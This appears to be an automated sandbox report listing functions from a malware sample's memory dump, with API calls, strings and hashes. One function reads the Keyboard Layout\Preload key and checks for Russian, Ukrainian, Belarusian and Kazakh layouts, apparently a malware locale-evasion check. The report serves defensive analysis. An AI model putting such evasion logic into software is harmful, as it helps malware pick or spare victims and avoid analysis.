Function 007A6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 007A617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 007A6271

Strings

Keyboard Layout\Preload, xrefs: 007A6054
0000043f, xrefs: 007A612B
00000423, xrefs: 007A60FA
00000419, xrefs: 007A6098
00000422, xrefs: 007A60C9

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: a6d90209e24a571604b987c9385bf49c26ca779295039ccf65262b827ef83434
Instruction ID: 95ac358aee360ff5c8071ab6e36216614d310f510583c15a403fb0530d0d2f01
Opcode Fuzzy Hash: a6d90209e24a571604b987c9385bf49c26ca779295039ccf65262b827ef83434
Instruction Fuzzy Hash: 2DB1CF719002689BDB25DB64CC88BDEB779AF05340F5402D8E508E7292EB789FE8CF55

Function 007A7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007A7ED3

Strings

JjsrQV==, xrefs: 007A8092
JjsrPl==, xrefs: 007A828A
JjssPV==, xrefs: 007A81E2
JjssOl==, xrefs: 007A813A

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: b855c116859f6dac704ba937dda98f0479596405f29ae8319b97b2a62bd6dc9d
Instruction ID: e49db2d84de847c8045128c22f79d0b867e8c5b1abcc2f957a21b2feb526858e
Opcode Fuzzy Hash: b855c116859f6dac704ba937dda98f0479596405f29ae8319b97b2a62bd6dc9d
Instruction Fuzzy Hash: B2E1D571E00644DBDB58BB28CC5F79D7B61BB82720F944388E415AB3C2DB794E818BD2

Function 007E1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1775: CreateFileW.KERNEL32(00000000,00000000,?,007E1B65,?,?,00000000,?,007E1B65,00000000,0000000C), ref: 007E1792

__dosmaperr.LIBCMT ref: 007E1BD7
GetFileType.KERNEL32(00000000), ref: 007E1BE3
__dosmaperr.LIBCMT ref: 007E1BF6
__dosmaperr.LIBCMT ref: 007E1D9C

Strings

H, xrefs: 007E1D21

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 6ee9b8562f148ce3d749e41437db7837bc8c76e4ffec8def70881c91081117d6
Instruction ID: db51f2365d677287ef0a007a399ff2cf9564d69447745d3a4ecbb49366832464
Opcode Fuzzy Hash: 6ee9b8562f148ce3d749e41437db7837bc8c76e4ffec8def70881c91081117d6
Instruction Fuzzy Hash: F2A12A32A051848FCF19DF68DC52BAD3BB1AB0A324F14419AF811EF391E7399D22C751

Function 007D6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007D6EE6), ref: 007D6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 007D7030
__dosmaperr.LIBCMT ref: 007D70C5

Part of subcall function 007D732A: __dosmaperr.LIBCMT ref: 007D735F

Strings

n}, xrefs: 007D6FCE

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n}
API String ID: 2531987475-838590260
Opcode ID: e10391ef0a6e3430a6574c0fb20ae4e5adce1b0e65569af5f7dc222d6558ba02
Instruction ID: afb191c62a738540babbd7d6beba688184675f86f19ae8258904ce47ba746859
Opcode Fuzzy Hash: e10391ef0a6e3430a6574c0fb20ae4e5adce1b0e65569af5f7dc222d6558ba02
Instruction Fuzzy Hash: 01414D71904248AFDB28DF75DC459ABBBF9EF89300B10452EF856D3350EA39A901CB61

Function 007E26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007F6758), ref: 007E275C

Strings

Eastern Standard Time, xrefs: 007E27CB
Eastern Summer Time, xrefs: 007E27FA

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
